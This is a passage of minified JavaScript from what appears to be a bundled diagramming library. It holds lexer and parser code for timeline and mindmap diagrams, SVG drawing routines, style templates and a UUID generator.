x)this[b]=x[b];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var m,g,y,v;this._more||(this.yytext="",this.match="");for(var x=this._currentRules(),b=0;bg[0].length)){if(g=y,v=b,this.options.backtrack_lexer){if(m=this.test_match(y,x[b]),m!==!1)return m;if(this._backtrack){g=!1;continue}else return!1}else if(!this.options.flex)break}return g?(m=this.test_match(g,x[v]),m!==!1?m:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var g=this.next();return g||this.lex()},"lex"),begin:o(function(g){this.conditionStack.push(g)},"begin"),popState:o(function(){var g=this.conditionStack.length-1;return g>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(g){return g=this.conditionStack.length-1-Math.abs(g||0),g>=0?this.conditionStack[g]:"INITIAL"},"topState"),pushState:o(function(g){this.begin(g)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(g,y,v,x){var b=x;switch(v){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 21;case 16:return 20;case 17:return 6;case 18:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:timeline\b)/i,/^(?:title\s[^\n]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^:\n]+)/i,/^(?::\s(?:[^:\n]|:(?!\s))+)/i,/^(?:[^#:\n]+)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18],inclusive:!0}}};return p})();h.lexer=f;function d(){this.yy={}}return o(d,"Parser"),d.prototype=h,h.Parser=d,new d})();P$.parser=P$;h2e=P$});var F$={};dr(F$,{addEvent:()=>T2e,addSection:()=>y2e,addTask:()=>b2e,addTaskOrg:()=>w2e,clear:()=>g2e,default:()=>ntt,getCommonDb:()=>m2e,getSections:()=>v2e,getTasks:()=>x2e});var hy,p2e,B$,xC,fy,m2e,g2e,y2e,v2e,x2e,b2e,T2e,w2e,d2e,ntt,k2e=N(()=>{"use strict";ci();hy="",p2e=0,B$=[],xC=[],fy=[],m2e=o(()=>rv,"getCommonDb"),g2e=o(function(){B$.length=0,xC.length=0,hy="",fy.length=0,Sr()},"clear"),y2e=o(function(t){hy=t,B$.push(t)},"addSection"),v2e=o(function(){return B$},"getSections"),x2e=o(function(){let t=d2e(),e=100,r=0;for(;!t&&rr.id===p2e-1).events.push(t)},"addEvent"),w2e=o(function(t){let e={section:hy,type:hy,description:t,task:t,classes:[]};xC.push(e)},"addTaskOrg"),d2e=o(function(){let t=o(function(r){return fy[r].processed},"compileTask"),e=!0;for(let[r,n]of fy.entries())t(r),e=e&&n.processed;return e},"compileTasks"),ntt={clear:g2e,getCommonDb:m2e,addSection:y2e,getSections:v2e,getTasks:x2e,addTask:b2e,addTaskOrg:w2e,addEvent:T2e}});function A2e(t,e){t.each(function(){var r=qe(this),n=r.text().split(/(\s+|
    )/).reverse(),i,a=[],s=1.1,l=r.attr("y"),u=parseFloat(r.attr("dy")),h=r.text(null).append("tspan").attr("x",0).attr("y",l).attr("dy",u+"em");for(let f=0;fe||i==="
    ")&&(a.pop(),h.text(a.join(" ").trim()),i==="
    "?a=[""]:a=[i],h=r.append("tspan").attr("x",0).attr("y",l).attr("dy",s+"em").text(i))})}var itt,bC,att,stt,S2e,ott,ltt,E2e,ctt,utt,htt,$$,C2e,ftt,dtt,ptt,mtt,ed,_2e=N(()=>{"use strict";yr();itt=12,bC=o(function(t,e){let r=t.append("rect");return r.attr("x",e.x),r.attr("y",e.y),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("width",e.width),r.attr("height",e.height),r.attr("rx",e.rx),r.attr("ry",e.ry),e.class!==void 0&&r.attr("class",e.class),r},"drawRect"),att=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),stt=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),S2e=o(function(t,e){let r=e.text.replace(//gi," "),n=t.append("text");n.attr("x",e.x),n.attr("y",e.y),n.attr("class","legend"),n.style("text-anchor",e.anchor),e.class!==void 0&&n.attr("class",e.class);let i=n.append("tspan");return i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),ott=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,S2e(t,e)},"drawLabel"),ltt=o(function(t,e,r){let n=t.append("g"),i=$$();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width,i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,bC(n,i),C2e(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),E2e=-1,ctt=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");E2e++,i.append("line").attr("id","task"+E2e).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),att(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=$$();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,bC(i,s),C2e(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),utt=o(function(t,e){bC(t,{x:e.startx,y:e.starty,width:e.stopx-e.startx,height:e.stopy-e.starty,fill:e.fill,class:"rect"}).lower()},"drawBackgroundRect"),htt=o(function(){return{x:0,y:0,fill:void 0,"text-anchor":"start",width:100,height:100,textMargin:0,rx:0,ry:0}},"getTextObj"),$$=o(function(){return{x:0,y:0,width:100,anchor:"start",height:100,rx:0,ry:0}},"getNoteRect"),C2e=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{"use strict";yr();_2e();pt();Xt();Ei();gtt=o(function(t,e,r,n){let i=ge(),a=i.timeline?.leftMargin??50;X.debug("timeline",n.db);let s=i.securityLevel,l;s==="sandbox"&&(l=qe("#i"+e));let h=(s==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body")).select("#"+e);h.append("g");let f=n.db.getTasks(),d=n.db.getCommonDb().getDiagramTitle();X.debug("task",f),ed.initGraphics(h);let p=n.db.getSections();X.debug("sections",p);let m=0,g=0,y=0,v=0,x=50+a,b=50;v=50;let T=0,S=!0;p.forEach(function(R){let I={number:T,descr:R,section:T,width:150,padding:20,maxHeight:m},L=ed.getVirtualNodeHeight(h,I,i);X.debug("sectionHeight before draw",L),m=Math.max(m,L+20)});let w=0,k=0;X.debug("tasks.length",f.length);for(let[R,I]of f.entries()){let L={number:R,descr:I,section:I.section,width:150,padding:20,maxHeight:g},E=ed.getVirtualNodeHeight(h,L,i);X.debug("taskHeight before draw",E),g=Math.max(g,E+20),w=Math.max(w,I.events.length);let D=0;for(let _ of I.events){let O={descr:_,section:I.section,number:I.section,width:150,padding:20,maxHeight:50};D+=ed.getVirtualNodeHeight(h,O,i)}I.events.length>0&&(D+=(I.events.length-1)*10),k=Math.max(k,D)}X.debug("maxSectionHeight before draw",m),X.debug("maxTaskHeight before draw",g),p&&p.length>0?p.forEach(R=>{let I=f.filter(_=>_.section===R),L={number:T,descr:R,section:T,width:200*Math.max(I.length,1)-50,padding:20,maxHeight:m};X.debug("sectionNode",L);let E=h.append("g"),D=ed.drawNode(E,L,T,i);X.debug("sectionNode output",D),E.attr("transform",`translate(${x}, ${v})`),b+=m+50,I.length>0&&D2e(h,I,T,x,b,g,i,w,k,m,!1),x+=200*Math.max(I.length,1),b=v,T++}):(S=!1,D2e(h,f,T,x,b,g,i,w,k,m,!0));let A=h.node().getBBox();X.debug("bounds",A),d&&h.append("text").text(d).attr("x",A.width/2-a).attr("font-size","4ex").attr("font-weight","bold").attr("y",20),y=S?m+g+150:g+100,h.append("g").attr("class","lineWrapper").append("line").attr("x1",a).attr("y1",y).attr("x2",A.width+3*a).attr("y2",y).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)"),ic(void 0,h,i.timeline?.padding??50,i.timeline?.useMaxWidth??!1)},"draw"),D2e=o(function(t,e,r,n,i,a,s,l,u,h,f){for(let d of e){let p={descr:d.task,section:r,number:r,width:150,padding:20,maxHeight:a};X.debug("taskNode",p);let m=t.append("g").attr("class","taskWrapper"),y=ed.drawNode(m,p,r,s).height;if(X.debug("taskHeight after draw",y),m.attr("transform",`translate(${n}, ${i})`),a=Math.max(a,y),d.events){let v=t.append("g").attr("class","lineWrapper"),x=a;i+=100,x=x+ytt(t,d.events,r,n,i,s),i-=100,v.append("line").attr("x1",n+190/2).attr("y1",i+a).attr("x2",n+190/2).attr("y2",i+a+100+u+100).attr("stroke-width",2).attr("stroke","black").attr("marker-end","url(#arrowhead)").attr("stroke-dasharray","5,5")}n=n+200,f&&!s.timeline?.disableMulticolor&&r++}i=i-10},"drawTasks"),ytt=o(function(t,e,r,n,i,a){let s=0,l=i;i=i+100;for(let u of e){let h={descr:u,section:r,number:r,width:150,padding:20,maxHeight:50};X.debug("eventNode",h);let f=t.append("g").attr("class","eventWrapper"),p=ed.drawNode(f,h,r,a).height;s=s+p,f.attr("transform",`translate(${n}, ${i})`),i=i+10+p}return i=l,s},"drawEvents"),L2e={setConf:o(()=>{},"setConf"),draw:gtt}});var vtt,xtt,N2e,M2e=N(()=>{"use strict";eo();vtt=o(t=>{let e="";for(let r=0;r` + .edge { + stroke-width: 3; + } + ${vtt(t)} + .section-root rect, .section-root path, .section-root circle { + fill: ${t.git0}; + } + .section-root text { + fill: ${t.gitBranchLabel0}; + } + .icon-container { + height:100%; + display: flex; + justify-content: center; + align-items: center; + } + .edge { + fill: none; + } + .eventWrapper { + filter: brightness(120%); + } +`,"getStyles"),N2e=xtt});var I2e={};dr(I2e,{diagram:()=>btt});var btt,O2e=N(()=>{"use strict";f2e();k2e();R2e();M2e();btt={db:F$,renderer:L2e,parser:h2e,styles:N2e}});var z$,F2e,$2e=N(()=>{"use strict";z$=(function(){var t=o(function(S,w,k,A){for(k=k||{},A=S.length;A--;k[S[A]]=w);return k},"o"),e=[1,4],r=[1,13],n=[1,12],i=[1,15],a=[1,16],s=[1,20],l=[1,19],u=[6,7,8],h=[1,26],f=[1,24],d=[1,25],p=[6,7,11],m=[1,6,13,15,16,19,22],g=[1,33],y=[1,34],v=[1,6,7,11,13,15,16,19,22],x={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mindMap:4,spaceLines:5,SPACELINE:6,NL:7,MINDMAP:8,document:9,stop:10,EOF:11,statement:12,SPACELIST:13,node:14,ICON:15,CLASS:16,nodeWithId:17,nodeWithoutId:18,NODE_DSTART:19,NODE_DESCR:20,NODE_DEND:21,NODE_ID:22,$accept:0,$end:1},terminals_:{2:"error",6:"SPACELINE",7:"NL",8:"MINDMAP",11:"EOF",13:"SPACELIST",15:"ICON",16:"CLASS",19:"NODE_DSTART",20:"NODE_DESCR",21:"NODE_DEND",22:"NODE_ID"},productions_:[0,[3,1],[3,2],[5,1],[5,2],[5,2],[4,2],[4,3],[10,1],[10,1],[10,1],[10,2],[10,2],[9,3],[9,2],[12,2],[12,2],[12,2],[12,1],[12,1],[12,1],[12,1],[12,1],[14,1],[14,1],[18,3],[17,1],[17,4]],performAction:o(function(w,k,A,C,R,I,L){var E=I.length-1;switch(R){case 6:case 7:return C;case 8:C.getLogger().trace("Stop NL ");break;case 9:C.getLogger().trace("Stop EOF ");break;case 11:C.getLogger().trace("Stop NL2 ");break;case 12:C.getLogger().trace("Stop EOF2 ");break;case 15:C.getLogger().info("Node: ",I[E].id),C.addNode(I[E-1].length,I[E].id,I[E].descr,I[E].type);break;case 16:C.getLogger().trace("Icon: ",I[E]),C.decorateNode({icon:I[E]});break;case 17:case 21:C.decorateNode({class:I[E]});break;case 18:C.getLogger().trace("SPACELIST");break;case 19:C.getLogger().trace("Node: ",I[E].id),C.addNode(0,I[E].id,I[E].descr,I[E].type);break;case 20:C.decorateNode({icon:I[E]});break;case 25:C.getLogger().trace("node found ..",I[E-2]),this.$={id:I[E-1],descr:I[E-1],type:C.getType(I[E-2],I[E])};break;case 26:this.$={id:I[E],descr:I[E],type:C.nodeType.DEFAULT};break;case 27:C.getLogger().trace("node found ..",I[E-3]),this.$={id:I[E-3],descr:I[E-1],type:C.getType(I[E-2],I[E])};break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],8:e},{1:[3]},{1:[2,1]},{4:6,6:[1,7],7:[1,8],8:e},{6:r,7:[1,10],9:9,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(u,[2,3]),{1:[2,2]},t(u,[2,4]),t(u,[2,5]),{1:[2,6],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:r,9:22,12:11,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},{6:h,7:f,10:23,11:d},t(p,[2,22],{17:17,18:18,14:27,15:[1,28],16:[1,29],19:s,22:l}),t(p,[2,18]),t(p,[2,19]),t(p,[2,20]),t(p,[2,21]),t(p,[2,23]),t(p,[2,24]),t(p,[2,26],{19:[1,30]}),{20:[1,31]},{6:h,7:f,10:32,11:d},{1:[2,7],6:r,12:21,13:n,14:14,15:i,16:a,17:17,18:18,19:s,22:l},t(m,[2,14],{7:g,11:y}),t(v,[2,8]),t(v,[2,9]),t(v,[2,10]),t(p,[2,15]),t(p,[2,16]),t(p,[2,17]),{20:[1,35]},{21:[1,36]},t(m,[2,13],{7:g,11:y}),t(v,[2,11]),t(v,[2,12]),{21:[1,37]},t(p,[2,25]),t(p,[2,27])],defaultActions:{2:[2,1],6:[2,2]},parseError:o(function(w,k){if(k.recoverable)this.trace(w);else{var A=new Error(w);throw A.hash=k,A}},"parseError"),parse:o(function(w){var k=this,A=[0],C=[],R=[null],I=[],L=this.table,E="",D=0,_=0,O=0,M=2,P=1,B=I.slice.call(arguments,1),F=Object.create(this.lexer),G={yy:{}};for(var $ in this.yy)Object.prototype.hasOwnProperty.call(this.yy,$)&&(G.yy[$]=this.yy[$]);F.setInput(w,G.yy),G.yy.lexer=F,G.yy.parser=this,typeof F.yylloc>"u"&&(F.yylloc={});var U=F.yylloc;I.push(U);var j=F.options&&F.options.ranges;typeof G.yy.parseError=="function"?this.parseError=G.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function te(q){A.length=A.length-2*q,R.length=R.length-q,I.length=I.length-q}o(te,"popStack");function Y(){var q;return q=C.pop()||F.lex()||P,typeof q!="number"&&(q instanceof Array&&(C=q,q=C.pop()),q=k.symbols_[q]||q),q}o(Y,"lex");for(var oe,J,ue,re,ee,Z,K={},ae,Q,de,ne;;){if(ue=A[A.length-1],this.defaultActions[ue]?re=this.defaultActions[ue]:((oe===null||typeof oe>"u")&&(oe=Y()),re=L[ue]&&L[ue][oe]),typeof re>"u"||!re.length||!re[0]){var Te="";ne=[];for(ae in L[ue])this.terminals_[ae]&&ae>M&&ne.push("'"+this.terminals_[ae]+"'");F.showPosition?Te="Parse error on line "+(D+1)+`: +`+F.showPosition()+` +Expecting `+ne.join(", ")+", got '"+(this.terminals_[oe]||oe)+"'":Te="Parse error on line "+(D+1)+": Unexpected "+(oe==P?"end of input":"'"+(this.terminals_[oe]||oe)+"'"),this.parseError(Te,{text:F.match,token:this.terminals_[oe]||oe,line:F.yylineno,loc:U,expected:ne})}if(re[0]instanceof Array&&re.length>1)throw new Error("Parse Error: multiple actions possible at state: "+ue+", token: "+oe);switch(re[0]){case 1:A.push(oe),R.push(F.yytext),I.push(F.yylloc),A.push(re[1]),oe=null,J?(oe=J,J=null):(_=F.yyleng,E=F.yytext,D=F.yylineno,U=F.yylloc,O>0&&O--);break;case 2:if(Q=this.productions_[re[1]][1],K.$=R[R.length-Q],K._$={first_line:I[I.length-(Q||1)].first_line,last_line:I[I.length-1].last_line,first_column:I[I.length-(Q||1)].first_column,last_column:I[I.length-1].last_column},j&&(K._$.range=[I[I.length-(Q||1)].range[0],I[I.length-1].range[1]]),Z=this.performAction.apply(K,[E,_,D,G.yy,re[1],R,I].concat(B)),typeof Z<"u")return Z;Q&&(A=A.slice(0,-1*Q*2),R=R.slice(0,-1*Q),I=I.slice(0,-1*Q)),A.push(this.productions_[re[1]][0]),R.push(K.$),I.push(K._$),de=L[A[A.length-2]][A[A.length-1]],A.push(de);break;case 3:return!0}}return!0},"parse")},b=(function(){var S={EOF:1,parseError:o(function(k,A){if(this.yy.parser)this.yy.parser.parseError(k,A);else throw new Error(k)},"parseError"),setInput:o(function(w,k){return this.yy=k||this.yy||{},this._input=w,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var w=this._input[0];this.yytext+=w,this.yyleng++,this.offset++,this.match+=w,this.matched+=w;var k=w.match(/(?:\r\n?|\n).*/g);return k?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),w},"input"),unput:o(function(w){var k=w.length,A=w.split(/(?:\r\n?|\n)/g);this._input=w+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-k),this.offset-=k;var C=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),A.length-1&&(this.yylineno-=A.length-1);var R=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:A?(A.length===C.length?this.yylloc.first_column:0)+C[C.length-A.length].length-A[0].length:this.yylloc.first_column-k},this.options.ranges&&(this.yylloc.range=[R[0],R[0]+this.yyleng-k]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(w){this.unput(this.match.slice(w))},"less"),pastInput:o(function(){var w=this.matched.substr(0,this.matched.length-this.match.length);return(w.length>20?"...":"")+w.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var w=this.match;return w.length<20&&(w+=this._input.substr(0,20-w.length)),(w.substr(0,20)+(w.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var w=this.pastInput(),k=new Array(w.length+1).join("-");return w+this.upcomingInput()+` +`+k+"^"},"showPosition"),test_match:o(function(w,k){var A,C,R;if(this.options.backtrack_lexer&&(R={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(R.yylloc.range=this.yylloc.range.slice(0))),C=w[0].match(/(?:\r\n?|\n).*/g),C&&(this.yylineno+=C.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:C?C[C.length-1].length-C[C.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+w[0].length},this.yytext+=w[0],this.match+=w[0],this.matches=w,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(w[0].length),this.matched+=w[0],A=this.performAction.call(this,this.yy,this,k,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),A)return A;if(this._backtrack){for(var I in R)this[I]=R[I];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var w,k,A,C;this._more||(this.yytext="",this.match="");for(var R=this._currentRules(),I=0;Ik[0].length)){if(k=A,C=I,this.options.backtrack_lexer){if(w=this.test_match(A,R[I]),w!==!1)return w;if(this._backtrack){k=!1;continue}else return!1}else if(!this.options.flex)break}return k?(w=this.test_match(k,R[C]),w!==!1?w:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var k=this.next();return k||this.lex()},"lex"),begin:o(function(k){this.conditionStack.push(k)},"begin"),popState:o(function(){var k=this.conditionStack.length-1;return k>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(k){return k=this.conditionStack.length-1-Math.abs(k||0),k>=0?this.conditionStack[k]:"INITIAL"},"topState"),pushState:o(function(k){this.begin(k)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(k,A,C,R){var I=R;switch(C){case 0:return k.getLogger().trace("Found comment",A.yytext),6;break;case 1:return 8;case 2:this.begin("CLASS");break;case 3:return this.popState(),16;break;case 4:this.popState();break;case 5:k.getLogger().trace("Begin icon"),this.begin("ICON");break;case 6:return k.getLogger().trace("SPACELINE"),6;break;case 7:return 7;case 8:return 15;case 9:k.getLogger().trace("end icon"),this.popState();break;case 10:return k.getLogger().trace("Exploding node"),this.begin("NODE"),19;break;case 11:return k.getLogger().trace("Cloud"),this.begin("NODE"),19;break;case 12:return k.getLogger().trace("Explosion Bang"),this.begin("NODE"),19;break;case 13:return k.getLogger().trace("Cloud Bang"),this.begin("NODE"),19;break;case 14:return this.begin("NODE"),19;break;case 15:return this.begin("NODE"),19;break;case 16:return this.begin("NODE"),19;break;case 17:return this.begin("NODE"),19;break;case 18:return 13;case 19:return 22;case 20:return 11;case 21:this.begin("NSTR2");break;case 22:return"NODE_DESCR";case 23:this.popState();break;case 24:k.getLogger().trace("Starting NSTR"),this.begin("NSTR");break;case 25:return k.getLogger().trace("description:",A.yytext),"NODE_DESCR";break;case 26:this.popState();break;case 27:return this.popState(),k.getLogger().trace("node end ))"),"NODE_DEND";break;case 28:return this.popState(),k.getLogger().trace("node end )"),"NODE_DEND";break;case 29:return this.popState(),k.getLogger().trace("node end ...",A.yytext),"NODE_DEND";break;case 30:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 31:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 32:return this.popState(),k.getLogger().trace("node end (-"),"NODE_DEND";break;case 33:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 34:return this.popState(),k.getLogger().trace("node end (("),"NODE_DEND";break;case 35:return k.getLogger().trace("Long description:",A.yytext),20;break;case 36:return k.getLogger().trace("Long description:",A.yytext),20;break}},"anonymous"),rules:[/^(?:\s*%%.*)/i,/^(?:mindmap\b)/i,/^(?::::)/i,/^(?:.+)/i,/^(?:\n)/i,/^(?:::icon\()/i,/^(?:[\s]+[\n])/i,/^(?:[\n]+)/i,/^(?:[^\)]+)/i,/^(?:\))/i,/^(?:-\))/i,/^(?:\(-)/i,/^(?:\)\))/i,/^(?:\))/i,/^(?:\(\()/i,/^(?:\{\{)/i,/^(?:\()/i,/^(?:\[)/i,/^(?:[\s]+)/i,/^(?:[^\(\[\n\)\{\}]+)/i,/^(?:$)/i,/^(?:["][`])/i,/^(?:[^`"]+)/i,/^(?:[`]["])/i,/^(?:["])/i,/^(?:[^"]+)/i,/^(?:["])/i,/^(?:[\)]\))/i,/^(?:[\)])/i,/^(?:[\]])/i,/^(?:\}\})/i,/^(?:\(-)/i,/^(?:-\))/i,/^(?:\(\()/i,/^(?:\()/i,/^(?:[^\)\]\(\}]+)/i,/^(?:.+(?!\(\())/i],conditions:{CLASS:{rules:[3,4],inclusive:!1},ICON:{rules:[8,9],inclusive:!1},NSTR2:{rules:[22,23],inclusive:!1},NSTR:{rules:[25,26],inclusive:!1},NODE:{rules:[21,24,27,28,29,30,31,32,33,34,35,36],inclusive:!1},INITIAL:{rules:[0,1,2,5,6,7,10,11,12,13,14,15,16,17,18,19,20],inclusive:!0}}};return S})();x.lexer=b;function T(){this.yy={}}return o(T,"Parser"),T.prototype=x,x.Parser=T,new T})();z$.parser=z$;F2e=z$});function z2e(t,e=0){return(Aa[t[e+0]]+Aa[t[e+1]]+Aa[t[e+2]]+Aa[t[e+3]]+"-"+Aa[t[e+4]]+Aa[t[e+5]]+"-"+Aa[t[e+6]]+Aa[t[e+7]]+"-"+Aa[t[e+8]]+Aa[t[e+9]]+"-"+Aa[t[e+10]]+Aa[t[e+11]]+Aa[t[e+12]]+Aa[t[e+13]]+Aa[t[e+14]]+Aa[t[e+15]]).toLowerCase()}var Aa,G2e=N(()=>{"use strict";Aa=[];for(let t=0;t<256;++t)Aa.push((t+256).toString(16).slice(1));o(z2e,"unsafeStringify")});function V$(){if(!G$){if(typeof crypto>"u"||!crypto.getRandomValues)throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");G$=crypto.getRandomValues.bind(crypto)}return G$(Ett)}var G$,Ett,V2e=N(()=>{"use strict";Ett=new Uint8Array(16);o(V$,"rng")});var Stt,U$,U2e=N(()=>{"use strict";Stt=typeof crypto<"u"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),U$={randomUUID:Stt}});function Ctt(t,e,r){if(U$.randomUUID&&!e&&!t)return U$.randomUUID();t=t||{};let n=t.random??t.rng?.()??V$();if(n.length<16)throw new Error("Random bytes length must be >= 16");if(n[6]=n[6]&15|64,n[8]=n[8]&63|128,e){if(r=r||0,r<0||r+16>e.length)throw new RangeError(`UUID byte range ${r}:${r+15} is out of buffer bounds`);for(let i=0;i<16;++i)e[r+i]=n[i];return e}return z2e(n)}var H$,H2e=N(()=>{"use strict";U2e();V2e();G2e();o(Ctt,"v4");H$=Ctt});var q2e=N(()=>{"use strict";H2e()});var ch,TC,W2e=N(()=>{"use 